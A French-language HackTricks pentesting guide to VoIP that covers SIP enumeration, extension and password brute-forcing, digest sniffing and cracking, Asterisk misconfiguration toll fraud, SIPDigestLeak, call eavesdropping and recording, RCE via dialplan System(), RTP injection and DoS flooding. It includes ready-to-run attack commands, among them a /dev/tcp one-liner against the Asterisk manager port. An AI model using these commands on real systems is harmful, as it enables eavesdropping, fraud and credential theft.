.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Informations de base sur la VoIP
Pour commencer à apprendre comment fonctionne la VoIP, consultez :
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Énumération de la VoIP
Numéros de téléphone
Une des premières étapes qu'une équipe Red peut faire est de rechercher des numéros de téléphone disponibles pour contacter l'entreprise en utilisant des outils OSINT, des recherches Google ou en parcourant les pages web.
Une fois que vous avez les numéros de téléphone, vous pouvez utiliser des services en ligne pour identifier l'opérateur :
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Savoir si l'opérateur fournit des services VoIP peut vous permettre d'identifier si l'entreprise utilise la VoIP... De plus, il est possible que l'entreprise n'ait pas engagé de services VoIP mais utilise des cartes PSTN pour connecter son propre PBX VoIP au réseau téléphonique traditionnel.
Des choses comme les réponses automatisées de musique indiquent généralement que la VoIP est utilisée.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Informations OSINT
Toute autre enquête OSINT qui aide à identifier le logiciel VoIP utilisé sera utile pour une équipe rouge.
Énumération du réseau
nmap
est capable de scanner les services UDP, mais en raison du nombre de services UDP scannés, il est très lent et peut ne pas être très précis avec ce type de services.svmap
de SIPVicious (sudo apt install sipvicious
) : localisera les services SIP dans le réseau indiqué.svmap
est facile à bloquer car il utilise l'User-Agentfriendly-scanner
, mais vous pouvez modifier le code de/usr/share/sipvicious/sipvicious
et le changer.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
de sippts: Sipscan est un scanner très rapide pour les services SIP sur UDP, TCP ou TLS. Il utilise le multithreading et peut scanner de grandes plages de réseaux. Il permet de spécifier facilement une plage de ports, de scanner à la fois TCP et UDP, d'utiliser une autre méthode (par défaut, il utilisera OPTIONS) et de spécifier un User-Agent différent (et plus encore).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploit est un framework de test de pénétration open source largement utilisé pour l'exploitation de vulnérabilités et la réalisation de tests de sécurité. Il offre une vaste gamme d'outils et de fonctionnalités pour effectuer des attaques ciblées sur les systèmes informatiques. Metasploit permet aux testeurs de pénétration d'automatiser les tâches de recherche de vulnérabilités, d'exploitation et de post-exploitation, ce qui en fait un outil essentiel pour les professionnels de la sécurité informatique.
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Enumeration supplémentaire du réseau
Le PBX pourrait également exposer d'autres services réseau tels que :
- 69/UDP (TFTP) : Mises à jour du micrologiciel
- 80 (HTTP) / 443 (HTTPS) : Pour gérer l'appareil depuis le web
- 389 (LDAP) : Alternative pour stocker les informations des utilisateurs
- 3306 (MySQL) : Base de données MySQL
- 5038 (Manager) : Permet d'utiliser Asterisk depuis d'autres plateformes
- 5222 (XMPP) : Messages utilisant Jabber
- 5432 (PostgreSQL) : Base de données PostgreSQL
- Et d'autres...
Énumération des méthodes
Il est possible de trouver quelles méthodes sont disponibles pour utiliser dans le PBX en utilisant sipenumerate.py
de sippts
python3 sipenumerate.py -i 10.10.0.10 -r 5080
Énumération des extensions
Les extensions dans un système PBX (Private Branch Exchange) font référence aux identifiants internes uniques attribués à chaque ligne téléphonique, appareil ou utilisateur au sein d'une organisation ou d'une entreprise. Les extensions permettent de routage des appels au sein de l'organisation de manière efficace, sans avoir besoin de numéros de téléphone externes individuels pour chaque utilisateur ou appareil.
svwar
de SIPVicious (sudo apt install sipvicious
):svwar
est un scanner gratuit de lignes d'extension SIP PBX. En concept, il fonctionne de manière similaire aux wardialers traditionnels en devinant une plage d'extensions ou une liste donnée d'extensions.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
de sippts: Sipexten identifie les extensions sur un serveur SIP. Sipexten peut vérifier de grands réseaux et des plages de ports.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Vous pouvez également énumérer les extensions/noms d'utilisateur avec metasploit:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX est un énumérateur de force brute de noms d'utilisateur pour le protocole Inter Asterisk Exchange (IAX). enumIAX peut fonctionner selon deux modes distincts : Deviner les noms d'utilisateur de manière séquentielle ou Attaque par dictionnaire.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Attaques VoIP
Brute-Force de mot de passe
Après avoir découvert le PBX et certains extensions/noms d'utilisateur, une équipe Red peut essayer de s'authentifier via la méthode REGISTER
sur une extension en utilisant un dictionnaire de mots de passe courants pour forcer l'authentification.
{% hint style="danger" %} Notez qu'un nom d'utilisateur peut être identique à l'extension, mais cette pratique peut varier en fonction du système PBX, de sa configuration et des préférences de l'organisation...
Si le nom d'utilisateur n'est pas identique à l'extension, vous devrez déterminer le nom d'utilisateur pour le forcer par brute-force. {% endhint %}
svcrack
de SIPVicious (sudo apt install sipvicious
) : SVCrack vous permet de cracker le mot de passe d'un nom d'utilisateur/extension spécifique sur un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
de sippts: SIP Digest Crack est un outil pour cracker les authentifications digest dans le protocole SIP.
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
Sniffing VoIP
Si vous trouvez du matériel VoIP à l'intérieur d'un réseau Wifi ouvert, vous pouvez capturer toutes les informations. De plus, si vous êtes à l'intérieur d'un réseau plus fermé (connecté via Ethernet ou Wifi protégé), vous pouvez effectuer des attaques MitM telles que ARPspoofing entre le PBX et la passerelle afin de capturer les informations.
Parmi les informations réseau, vous pouvez trouver des identifiants web pour gérer le matériel, des extensions d'utilisateur, des noms d'utilisateur, des adresses IP, même des mots de passe hachés et des paquets RTP que vous pouvez reproduire pour écouter la conversation, et plus encore.
Pour obtenir ces informations, vous pouvez utiliser des outils tels que Wireshark, tcpdump... mais un outil spécialement créé pour capturer les conversations VoIP est ucsniff.
{% hint style="danger" %}
Notez que si TLS est utilisé dans la communication SIP, vous ne pourrez pas voir la communication SIP en clair.
La même chose se produira si SRTP et ZRTP sont utilisés, les paquets RTP ne seront pas en texte clair.
{% endhint %}
Identifiants SIP
Vérifiez cet exemple pour mieux comprendre une communication SIP REGISTER pour apprendre comment les identifiants sont envoyés.
sipdump
&sipcrack
, partie de sipcrack (apt-get install sipcrack
): Ces outils peuvent extraire d'un pcap les authentifications digest dans le protocole SIP et les forcer par bruteforce.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
de sippts:- SipTshark extrait les données du protocole SIP à partir d'un fichier PCAP.
- SipDump extrait les authentifications SIP Digest à partir d'un fichier PCAP.
- SIP Digest Crack est un outil pour cracker les authentifications digest dans le protocole SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
Codes DTMF
Non seulement les identifiants SIP peuvent être trouvés dans le trafic réseau, il est également possible de trouver des codes DTMF qui sont utilisés par exemple pour accéder à la messagerie vocale.
Il est possible d'envoyer ces codes dans des messages INFO SIP, dans l'audio ou à l'intérieur des paquets RTP. Si les codes se trouvent dans les paquets RTP, vous pouvez découper cette partie de la conversation et utiliser l'outil multimo pour les extraire :
multimon -a DTMF -t wac pin.wav
Appels gratuits / Mauvaises configurations de connexions Asterisk
Dans Asterisk, il est possible d'autoriser une connexion à partir d'une adresse IP spécifique ou de n'importe quelle adresse IP :
host=10.10.10.10
host=dynamic
Si une adresse IP est spécifiée, l'hôte n'aura pas besoin d'envoyer des requêtes REGISTER de temps en temps (dans le paquet REGISTER est envoyé le temps de vie, généralement 30 minutes, ce qui signifie que dans un autre scénario, le téléphone devra s'enregistrer toutes les 30 minutes). Cependant, il devra avoir des ports ouverts permettant les connexions du serveur VoIP pour prendre des appels.
Pour définir les utilisateurs, ils peuvent être définis comme suit :
type=user
: L'utilisateur ne peut recevoir que des appels en tant qu'utilisateur.type=friend
: Il est possible d'effectuer des appels en tant que pair et de les recevoir en tant qu'utilisateur (utilisé avec des extensions).type=peer
: Il est possible d'envoyer et de recevoir des appels en tant que pair (SIP-trunks).
Il est également possible d'établir une confiance avec la variable non sécurisée :
insecure=port
: Autorise les connexions de pair validées par IP.insecure=invite
: Ne nécessite pas d'authentification pour les messages INVITE.insecure=port,invite
: Les deux.
{% hint style="warning" %}
Lorsque type=friend
est utilisé, la valeur de la variable host ne sera pas utilisée, donc si un administrateur mal configure un SIP-trunk en utilisant cette valeur, n'importe qui pourra s'y connecter.
Par exemple, cette configuration serait vulnérable :
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Appels gratuits / Mauvaises configurations de contexte dans Asterisk
Dans Asterisk, un contexte est un conteneur ou une section nommée dans le plan de numérotation qui regroupe les extensions, les actions et les règles associées. Le plan de numérotation est le composant central d'un système Asterisk, car il définit comment les appels entrants et sortants sont gérés et routés. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrôle d'accès et fournir une séparation entre les différentes parties du système.
Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier extensions.conf
. Les contextes sont indiqués par des crochets, avec le nom du contexte entre eux. Par exemple :
csharpCopy code[my_context]
Dans le contexte, vous définissez des extensions (modèles de numéros composés) et les associez à une série d'actions ou d'applications. Ces actions déterminent la façon dont l'appel est traité. Par exemple :
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Cet exemple présente un contexte simple appelé "my_context" avec une extension "100". Lorsque quelqu'un compose le 100, l'appel sera répondu, un message de bienvenue sera diffusé, puis l'appel sera terminé.
Voici un autre contexte qui permet d'appeler n'importe quel autre numéro :
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Si l'administrateur définit le contexte par défaut comme suit :
[default]
include => my_context
include => external
{% hint style="warning" %} N'importe qui pourra utiliser le serveur pour appeler n'importe quel autre numéro (et l'administrateur du serveur paiera l'appel). {% endhint %}
{% hint style="danger" %}
De plus, par défaut, le fichier sip.conf
contient allowguest=true
, ce qui signifie que n'importe quel attaquant sans authentification pourra appeler n'importe quel autre numéro.
{% endhint %}
sipinvite.py
de sippts: Sipinvite vérifie si un serveur PBX nous permet de passer des appels sans authentification. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe.
Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître aucun nom d'utilisateur/mot de passe.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Appels gratuits / IVRS mal configuré
IVRS signifie Interactive Voice Response System, une technologie de téléphonie qui permet aux utilisateurs d'interagir avec un système informatisé par la voix ou des touches. IVRS est utilisé pour construire des systèmes de gestion d'appels automatisés qui offrent une gamme de fonctionnalités, telles que la fourniture d'informations, la redirection des appels et la collecte des entrées des utilisateurs.
Les IVRS dans les systèmes VoIP se composent généralement de :
- Messages vocaux: Messages audio préenregistrés qui guident les utilisateurs à travers les options de menu et les instructions de l'IVR.
- Signalisation DTMF (Dual-Tone Multi-Frequency) : Entrées de touches générées en appuyant sur les touches du téléphone, qui sont utilisées pour naviguer dans les menus de l'IVR et fournir des entrées.
- Routage des appels: Redirection des appels vers la destination appropriée, tels que des départements spécifiques, des agents ou des extensions en fonction des entrées des utilisateurs.
- Collecte des entrées des utilisateurs: Collecte d'informations auprès des appelants, telles que des numéros de compte, des identifiants de cas ou toute autre donnée pertinente.
- Intégration avec des systèmes externes: Connexion du système IVR à des bases de données ou à d'autres systèmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.
Dans un système VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (fichier extensions.conf
) et diverses applications telles que Background()
, Playback()
, Read()
, et plus encore. Ces applications vous aident à lire des messages vocaux, à capturer les entrées des utilisateurs et à contrôler le flux des appels.
Exemple de configuration vulnérable
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Le précédent est un exemple où l'utilisateur est invité à appuyer sur 1 pour appeler un département, 2 pour appeler un autre, ou l'extension complète s'il la connaît.
La vulnérabilité réside dans le fait que la longueur de l'extension n'est pas vérifiée, donc un utilisateur pourrait entrer un numéro complet et il sera appelé même s'il dépasse le délai de 5 secondes.
Injection d'extension
En utilisant une extension telle que :
exten => _X.,1,Dial(SIP/${EXTEN})
Là où ${EXTEN}
est l'extension qui sera appelée, lorsque l'ext 101 est introduit, voici ce qui se passerait :
exten => 101,1,Dial(SIP/101)
Cependant, si ${EXTEN}
permet d'introduire autre chose que des chiffres (comme dans les anciennes versions d'Asterisk), un attaquant pourrait introduire 101&SIP123123123
pour appeler le numéro de téléphone 123123123. Et voici le résultat :
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Par conséquent, un appel à l'extension 101
et 123123123
sera envoyé et seul le premier appelé sera établi... mais si un attaquant utilise une extension qui contourne toute correspondance qui est en cours mais qui n'existe pas, il pourrait injecter un appel uniquement vers le numéro souhaité.
SIPDigestLeak
La fuite de Digest SIP est une vulnérabilité qui affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet la fuite de la réponse d'authentification Digest, qui est calculée à partir du mot de passe. Une attaque de mot de passe hors ligne est alors possible et peut récupérer la plupart des mots de passe basés sur la réponse au défi.
Scénario de vulnérabilité (pour plus d'informations, consultez ceci) :
- Un téléphone IP (victime) écoute sur le port 5060, acceptant les appels téléphoniques
- L'attaquant envoie une INVITE au téléphone IP
- Le téléphone de la victime commence à sonner et quelqu'un décroche et raccroche (parce que personne ne répond au téléphone à l'autre bout)
- Lorsque le téléphone est raccroché, le téléphone de la victime envoie un BYE à l'attaquant
- L'attaquant émet une réponse 407 qui demande une authentification et émet un défi d'authentification
- Le téléphone de la victime fournit une réponse au défi d'authentification dans un deuxième BYE
- L'attaquant peut ensuite lancer une attaque par force brute sur la réponse au défi sur sa machine locale (ou un réseau distribué, etc.) et deviner le mot de passe
- sipdigestleak.py de sippts: SipDigestLeak exploite cette vulnérabilité.
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call permet à un utilisateur web (qui par exemple pourrait être intéressé par un produit) d'introduire son numéro de téléphone pour être appelé. Ensuite, un commercial sera appelé et lorsque l'utilisateur décroche le téléphone, il sera appelé et connecté à l'agent.
Un profil Asterisk courant pour cela est :
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Le profil précédent permet à N'IMPORTE QUELLE adresse IP de se connecter (si le mot de passe est connu).
- Pour organiser un appel, comme spécifié précédemment, aucune permission de lecture n'est nécessaire et seulement l'autorisation d'origine en écriture est requise.
Avec ces autorisations, n'importe quelle adresse IP connaissant le mot de passe pourrait se connecter et extraire trop d'informations, telles que :
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Plus d'informations ou d'actions peuvent être demandées.
Écoute clandestine
Dans Asterisk, il est possible d'utiliser la commande ChanSpy
en indiquant les extensions à surveiller (ou toutes) pour écouter les conversations en cours. Cette commande doit être attribuée à une extension.
Par exemple, exten => 333,1,ChanSpy('all',qb)
indique que si vous appelez l'extension 333, elle surveillera toutes les extensions, commencera à écouter dès qu'une nouvelle conversation commence (b
) en mode silencieux (q
) car nous ne voulons pas y intervenir. Vous pouvez passer d'une conversation à une autre en appuyant sur *
, ou en marquant le numéro de l'extension.
Il est également possible d'utiliser ExtenSpy
pour surveiller une seule extension.
Au lieu d'écouter les conversations, il est possible de les enregistrer dans des fichiers en utilisant une extension telle que :
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Les appels seront enregistrés dans /tmp
.
Vous pouvez même faire en sorte qu'Asterisk exécute un script qui divulguera l'appel lorsqu'il est fermé.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed est un problème de sécurité majeur qui affecte les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à tout utilisateur sur Internet d'intercepter et de rediriger le trafic RTP (Real Time Protocol), qui transporte les conversations VoIP. Cela se produit car le trafic RTP contourne l'authentification lorsqu'il traverse les pare-feu NAT (Network Address Translation).
Les proxies RTP tentent de résoudre les limitations NAT affectant les systèmes RTC en faisant office de relais pour les flux RTP entre deux parties ou plus. Lorsque NAT est en place, le logiciel du proxy RTP ne peut souvent pas se fier aux informations d'adresse IP et de port RTP récupérées via la signalisation (par exemple, SIP). Par conséquent, plusieurs proxies RTP ont mis en œuvre un mécanisme où cette combinaison d'adresse IP et de port est apprise automatiquement. Cela est souvent réalisé en inspectant le trafic RTP entrant et en marquant l'adresse IP et le port source de tout trafic RTP entrant comme étant ceux auxquels il faut répondre. Ce mécanisme, souvent appelé "mode d'apprentissage", n'utilise aucune forme d'authentification. Par conséquent, les attaquants peuvent envoyer du trafic RTP au proxy RTP et recevoir le trafic RTP relayé destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux média RTP destinés à des utilisateurs légitimes.
Un autre comportement intéressant des proxies RTP et des piles RTP est que parfois, même s'ils ne sont pas vulnérables à RTP Bleed, ils acceptent, transfèrent et/ou traitent les paquets RTP en provenance de n'importe quelle source. Par conséquent, les attaquants peuvent envoyer des paquets RTP qui leur permettent d'injecter leurs propres médias au lieu des médias légitimes. Nous appelons cette attaque l'injection RTP car elle permet l'injection de paquets RTP illégitimes dans des flux RTP existants. Cette vulnérabilité peut être présente à la fois dans les proxies RTP et les points d'extrémité.
Asterisk et FreePBX ont traditionnellement utilisé le paramètre NAT=yes
, qui permet au trafic RTP de contourner l'authentification, ce qui peut entraîner une absence de son ou un son unidirectionnel lors des appels.
Pour plus d'informations, consultez https://www.rtpbleed.com/
rtpbleed.py
de sippts: Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
de sippts: Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
de sippts: Exploitez la vulnérabilité RTP Bleed en envoyant des flux RTP
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
de sippts: Exploitez la vulnérabilité RTP Bleed en envoyant des flux RTP (à partir d'un fichier audio)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Dans Asterisk, si vous parvenez d'une manière ou d'une autre à ajouter des règles d'extension et à les recharger (par exemple en compromettant un serveur de gestion web vulnérable), il est possible d'obtenir une RCE en utilisant la commande System
.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Il existe une commande appelée Shell
qui peut être utilisée à la place de System
pour exécuter des commandes système si nécessaire.
{% hint style="warning" %}
Si le serveur interdit l'utilisation de certains caractères dans la commande System
(comme dans Elastix), vérifiez si le serveur Web permet de créer des fichiers dans le système d'une manière ou d'une autre (comme dans Elastix ou trixbox), et utilisez-le pour créer un script de porte dérobée que vous pourrez ensuite exécuter avec System
.
{% endhint %}
Fichiers locaux intéressants et autorisations
sip.conf
-> Contient le mot de passe des utilisateurs SIP.- Si le serveur Asterisk s'exécute en tant que root, vous pouvez compromettre le compte root.
- L'utilisateur root de MySQL pourrait ne pas avoir de mot de passe.
- Cela pourrait être utilisé pour créer un nouvel utilisateur MySQL en tant que porte dérobée.
FreePBX
amportal.conf
-> Contient le mot de passe de l'administrateur du panneau Web (FreePBX).FreePBX.conf
-> Contient le mot de passe de l'utilisateur FreePBXuser utilisé pour accéder à la base de données.- Cela pourrait être utilisé pour créer un nouvel utilisateur MySQL en tant que porte dérobée.
Elastix
Elastix.conf
-> Contient plusieurs mots de passe en clair, tels que le mot de passe root de MySQL, le mot de passe IMAPd, le mot de passe de l'administrateur Web.- Plusieurs dossiers appartiendront à l'utilisateur Asterisk compromis (s'il ne s'exécute pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il peut donc faire en sorte qu'Asterisk charge d'autres binaires avec porte dérobée lors de leur exécution.
Injection RTP
Il est possible d'insérer un fichier .wav
dans les conversations à l'aide d'outils tels que rtpinsertsound
(sudo apt install rtpinsertsound
) et rtpmixsound
(sudo apt install rtpmixsound
).
Ou vous pouvez utiliser les scripts disponibles sur http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ pour analyser les conversations (rtpscan.pl
), envoyer un fichier .wav
à une conversation (rtpsend.pl
) et insérer du bruit dans une conversation (rtpflood.pl
).
DoS
Il existe plusieurs façons de tenter de provoquer une attaque par déni de service (DoS) sur les serveurs VoIP.
sipflood.py
de sippts**: **SipFlood envoie des messages illimités vers la cible.python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder : DoS du protocole IAX utilisé par Asterisk.
- inviteflood : Un outil pour effectuer une attaque par inondation de messages SIP/SDP INVITE via UDP/IP.
- rtpflood : Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaître les ports RTP utilisés (effectuez une écoute au préalable).
- SIPp : Permet d'analyser et de générer du trafic SIP. Peut également être utilisé pour une attaque DoS.
- SIPsak : Couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP.
- Fuzzers : protos-sip, voiper.
sipsend.py
de sippts: SIPSend nous permet d'envoyer un message SIP personnalisé et d'analyser la réponse.wssend.py
de sippts: WsSend nous permet d'envoyer un message SIP personnalisé via WebSockets et d'analyser la réponse.
Vulnérabilités du système d'exploitation
La manière la plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une distribution du système d'exploitation qui l'inclut déjà, comme FreePBX, Elastix, Trixbox... Le problème avec ces distributions est que, une fois qu'elles sont en fonctionnement, les administrateurs système peuvent ne pas les mettre à jour et des vulnérabilités peuvent être découvertes avec le temps.
Références
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? Ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.